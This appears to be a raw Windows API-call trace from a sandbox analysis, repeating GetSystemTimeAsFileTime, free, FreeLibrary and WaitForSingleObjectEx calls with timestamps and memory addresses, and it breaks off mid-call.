0x0 [0213.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b15e07d, dwHighDateTime=0x1d9eb0c)) [0213.610] free (_Block=0x20abc281de0) [0213.611] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.612] free (_Block=0x20abc2867b0) [0213.613] free (_Block=0x20abc27cf80) [0213.613] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b18402b, dwHighDateTime=0x1d9eb0c)) [0213.624] free (_Block=0x20abc281f00) [0213.625] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.625] free (_Block=0x20abc2867b0) [0213.626] free (_Block=0x20abc2a8730) [0213.626] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b34da3d, dwHighDateTime=0x1d9eb0c)) [0213.815] free (_Block=0x20abc281c00) [0213.815] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.816] free (_Block=0x20abc2867b0) [0213.817] free (_Block=0x20abc27cb20) [0213.817] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b375ce5, dwHighDateTime=0x1d9eb0c)) [0213.831] free (_Block=0x20abc282020) [0213.831] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.832] free (_Block=0x20abc2867b0) [0213.833] free (_Block=0x20abc27cf80) [0213.833] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b39a0b6, dwHighDateTime=0x1d9eb0c)) [0213.842] free (_Block=0x20abc281c20) [0213.842] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.843] free (_Block=0x20abc2867b0) [0213.843] free (_Block=0x20abc27cf80) [0213.843] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b39a0b6, dwHighDateTime=0x1d9eb0c)) [0213.849] free (_Block=0x20abc281e60) [0213.850] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.850] free (_Block=0x20abc2867b0) [0213.854] free (_Block=0x20abc27cf80) [0213.854] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b4cb11d, dwHighDateTime=0x1d9eb0c)) [0213.963] free (_Block=0x20abc281ba0) [0213.963] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.964] free (_Block=0x20abc2867b0) [0213.965] free (_Block=0x20abc27cb20) [0213.965] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b4f1415, dwHighDateTime=0x1d9eb0c)) [0213.979] free (_Block=0x20abc281ba0) [0213.979] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.979] free (_Block=0x20abc2867b0) [0213.980] free (_Block=0x20abc27cb20) [0213.980] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b4f1415, dwHighDateTime=0x1d9eb0c)) [0213.986] free (_Block=0x20abc281e60) [0213.986] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.987] free (_Block=0x20abc2867b0) [0213.987] free (_Block=0x20abc27cf80) [0213.987] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0213.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b51777e, dwHighDateTime=0x1d9eb0c)) [0213.994] free (_Block=0x20abc281960) [0213.994] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0213.995] free (_Block=0x20abc2867b0) [0213.996] free (_Block=0x20abc27cf80) [0213.996] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b51777e, dwHighDateTime=0x1d9eb0c)) [0214.002] free (_Block=0x20abc281ae0) [0214.002] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.002] free (_Block=0x20abc2867b0) [0214.003] free (_Block=0x20abc27cb20) [0214.003] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b623126, dwHighDateTime=0x1d9eb0c)) [0214.107] free (_Block=0x20abc281fa0) [0214.107] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.108] free (_Block=0x20abc2867b0) [0214.109] free (_Block=0x20abc27cb20) [0214.109] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b623126, dwHighDateTime=0x1d9eb0c)) [0214.117] free (_Block=0x20abc281f80) [0214.117] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.117] free (_Block=0x20abc2867b0) [0214.118] free (_Block=0x20abc27cb20) [0214.118] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b648b42, dwHighDateTime=0x1d9eb0c)) [0214.125] free (_Block=0x20abc281ea0) [0214.125] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.126] free (_Block=0x20abc2867b0) [0214.126] free (_Block=0x20abc27cb20) [0214.126] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b694e4e, dwHighDateTime=0x1d9eb0c)) [0214.149] free (_Block=0x20abc2819e0) [0214.149] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.150] free (_Block=0x20abc2867b0) [0214.150] free (_Block=0x20abc27cb20) [0214.150] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b838811, dwHighDateTime=0x1d9eb0c)) [0214.328] free (_Block=0x20abc281ee0) [0214.328] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.329] free (_Block=0x20abc2867b0) [0214.329] free (_Block=0x20abc27cb20) [0214.329] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b85ee36, dwHighDateTime=0x1d9eb0c)) [0214.337] free (_Block=0x20abc281d40) [0214.337] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.338] free (_Block=0x20abc2867b0) [0214.338] free (_Block=0x20abc27cb20) [0214.338] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b85ee36, dwHighDateTime=0x1d9eb0c)) [0214.346] free (_Block=0x20abc281fa0) [0214.346] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.346] free (_Block=0x20abc2867b0) [0214.347] free (_Block=0x20abc27cf80) [0214.347] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b885182, dwHighDateTime=0x1d9eb0c)) [0214.358] free (_Block=0x20abc281dc0) [0214.358] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.359] free (_Block=0x20abc2867b0) [0214.359] free (_Block=0x20abc27cb20) [0214.360] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3b885182, dwHighDateTime=0x1d9eb0c)) [0214.367] free (_Block=0x20abc2819a0) [0214.367] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.367] free (_Block=0x20abc2867b0) [0214.370] free (_Block=0x20abc27cb20) [0214.370] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ba027c6, dwHighDateTime=0x1d9eb0c)) [0214.512] free (_Block=0x20abc281960) [0214.512] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.513] free (_Block=0x20abc2867b0) [0214.513] free (_Block=0x20abc27cb20) [0214.513] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ba027c6, dwHighDateTime=0x1d9eb0c)) [0214.523] free (_Block=0x20abc281fe0) [0214.523] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.524] free (_Block=0x20abc2867b0) [0214.524] free (_Block=0x20abc27cb20) [0214.524] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ba28784, dwHighDateTime=0x1d9eb0c)) [0214.533] free (_Block=0x20abc281b60) [0214.533] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.534] free (_Block=0x20abc2867b0) [0214.534] free (_Block=0x20abc27cb20) [0214.534] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ba4edf6, dwHighDateTime=0x1d9eb0c)) [0214.543] free (_Block=0x20abc281b20) [0214.543] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.544] free (_Block=0x20abc2867b0) [0214.544] free (_Block=0x20abc27cf80) [0214.545] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bbf23fa, dwHighDateTime=0x1d9eb0c)) [0214.726] free (_Block=0x20abc282040) [0214.727] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.728] free (_Block=0x20abc2867b0) [0214.729] free (_Block=0x20abc27cb20) [0214.729] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bc3e82a, dwHighDateTime=0x1d9eb0c)) [0214.745] free (_Block=0x20abc281b80) [0214.745] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.746] free (_Block=0x20abc2867b0) [0214.747] free (_Block=0x20abc27cf80) [0214.747] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bc3e82a, dwHighDateTime=0x1d9eb0c)) [0214.754] free (_Block=0x20abc2820a0) [0214.754] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.755] free (_Block=0x20abc2867b0) [0214.756] free (_Block=0x20abc27cf80) [0214.756] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bc687c4, dwHighDateTime=0x1d9eb0c)) [0214.765] free (_Block=0x20abc281c80) [0214.765] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.766] free (_Block=0x20abc2867b0) [0214.767] free (_Block=0x20abc27cb20) [0214.767] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3be2f5db, dwHighDateTime=0x1d9eb0c)) [0214.954] free (_Block=0x20abc281d40) [0214.954] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.955] free (_Block=0x20abc2867b0) [0214.955] free (_Block=0x20abc27cb20) [0214.956] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3be54961, dwHighDateTime=0x1d9eb0c)) [0214.968] free (_Block=0x20abc281f60) [0214.969] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.969] free (_Block=0x20abc2867b0) [0214.970] free (_Block=0x20abc27cb20) [0214.970] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3be7ad21, dwHighDateTime=0x1d9eb0c)) [0214.978] free (_Block=0x20abc281a80) [0214.978] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.979] free (_Block=0x20abc2867b0) [0214.980] free (_Block=0x20abc27cb20) [0214.980] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3be7ad21, dwHighDateTime=0x1d9eb0c)) [0214.988] free (_Block=0x20abc281cc0) [0214.988] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0214.989] free (_Block=0x20abc2867b0) [0214.990] free (_Block=0x20abc27cb20) [0214.990] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bfac27a, dwHighDateTime=0x1d9eb0c)) [0215.103] free (_Block=0x20abc281ae0) [0215.104] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.105] free (_Block=0x20abc2867b0) [0215.105] free (_Block=0x20abc27cb20) [0215.106] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bfac27a, dwHighDateTime=0x1d9eb0c)) [0215.115] free (_Block=0x20abc282000) [0215.115] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.116] free (_Block=0x20abc2867b0) [0215.117] free (_Block=0x20abc27cb20) [0215.117] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bfd206b, dwHighDateTime=0x1d9eb0c)) [0215.126] free (_Block=0x20abc282080) [0215.126] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.126] free (_Block=0x20abc2867b0) [0215.127] free (_Block=0x20abc27cb20) [0215.127] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3bff836e, dwHighDateTime=0x1d9eb0c)) [0215.146] free (_Block=0x20abc281ea0) [0215.146] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.147] free (_Block=0x20abc2867b0) [0215.149] free (_Block=0x20abc27cb20) [0215.149] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c19c74d, dwHighDateTime=0x1d9eb0c)) [0215.308] free (_Block=0x20abc281d40) [0215.308] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.309] free (_Block=0x20abc2867b0) [0215.309] free (_Block=0x20abc27cb20) [0215.309] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.310] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.626] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.626] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c63be63, dwHighDateTime=0x1d9eb0c)) [0215.790] free (_Block=0x20abc281f60) [0215.791] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.791] free (_Block=0x20abc2867b0) [0215.792] free (_Block=0x20abc27cf80) [0215.792] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.792] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c76bd9d, dwHighDateTime=0x1d9eb0c)) [0215.914] free (_Block=0x20abc281fa0) [0215.915] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.915] free (_Block=0x20abc2867b0) [0215.916] free (_Block=0x20abc287990) [0215.916] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c791af9, dwHighDateTime=0x1d9eb0c)) [0215.930] free (_Block=0x20abc281b00) [0215.930] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.931] free (_Block=0x20abc2867b0) [0215.932] free (_Block=0x20abc27cb20) [0215.932] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c791af9, dwHighDateTime=0x1d9eb0c)) [0215.939] free (_Block=0x20abc281e20) [0215.939] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0215.940] free (_Block=0x20abc2867b0) [0215.940] free (_Block=0x20abc27cb20) [0215.941] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c981a39, dwHighDateTime=0x1d9eb0c)) [0216.145] free (_Block=0x20abc281d40) [0216.145] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.146] free (_Block=0x20abc2867b0) [0216.147] free (_Block=0x20abc27cf80) [0216.147] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c9a7b26, dwHighDateTime=0x1d9eb0c)) [0216.155] free (_Block=0x20abc282080) [0216.155] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.156] free (_Block=0x20abc2867b0) [0216.157] free (_Block=0x20abc27cb20) [0216.157] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c9d16b8, dwHighDateTime=0x1d9eb0c)) [0216.169] free (_Block=0x20abc281960) [0216.169] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.169] free (_Block=0x20abc2867b0) [0216.170] free (_Block=0x20abc27cb20) [0216.170] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c9d16b8, dwHighDateTime=0x1d9eb0c)) [0216.177] free (_Block=0x20abc281cc0) [0216.177] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.178] free (_Block=0x20abc2867b0) [0216.179] free (_Block=0x20abc27cf80) [0216.180] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3c9f4e47, dwHighDateTime=0x1d9eb0c)) [0216.296] free (_Block=0x20abc281ae0) [0216.296] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.297] free (_Block=0x20abc2867b0) [0216.297] free (_Block=0x20abc27cb20) [0216.297] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cb2548b, dwHighDateTime=0x1d9eb0c)) [0216.305] free (_Block=0x20abc2820e0) [0216.305] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.306] free (_Block=0x20abc2867b0) [0216.307] free (_Block=0x20abc27cf80) [0216.307] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cb2548b, dwHighDateTime=0x1d9eb0c)) [0216.316] free (_Block=0x20abc281f20) [0216.316] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.316] free (_Block=0x20abc2867b0) [0216.317] free (_Block=0x20abc27cf80) [0216.317] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cb4bb1e, dwHighDateTime=0x1d9eb0c)) [0216.325] free (_Block=0x20abc2819c0) [0216.325] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.325] free (_Block=0x20abc2867b0) [0216.326] free (_Block=0x20abc27cf80) [0216.326] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cb4bb1e, dwHighDateTime=0x1d9eb0c)) [0216.336] free (_Block=0x20abc281de0) [0216.336] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.336] free (_Block=0x20abc2867b0) [0216.337] free (_Block=0x20abc27cb20) [0216.337] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cd151cd, dwHighDateTime=0x1d9eb0c)) [0216.507] free (_Block=0x20abc281ba0) [0216.507] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.508] free (_Block=0x20abc2867b0) [0216.509] free (_Block=0x20abc27cb20) [0216.509] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.509] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3ce93234, dwHighDateTime=0x1d9eb0c)) [0216.673] free (_Block=0x20abc281fa0) [0216.673] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.673] free (_Block=0x20abc2867b0) [0216.674] free (_Block=0x20abc27cf80) [0216.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3cf0500a, dwHighDateTime=0x1d9eb0c)) [0216.711] free (_Block=0x20abc281b80) [0216.711] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0216.711] free (_Block=0x20abc2867b0) [0216.712] free (_Block=0x20abc27cb20) [0216.712] WaitForSingleObjectEx 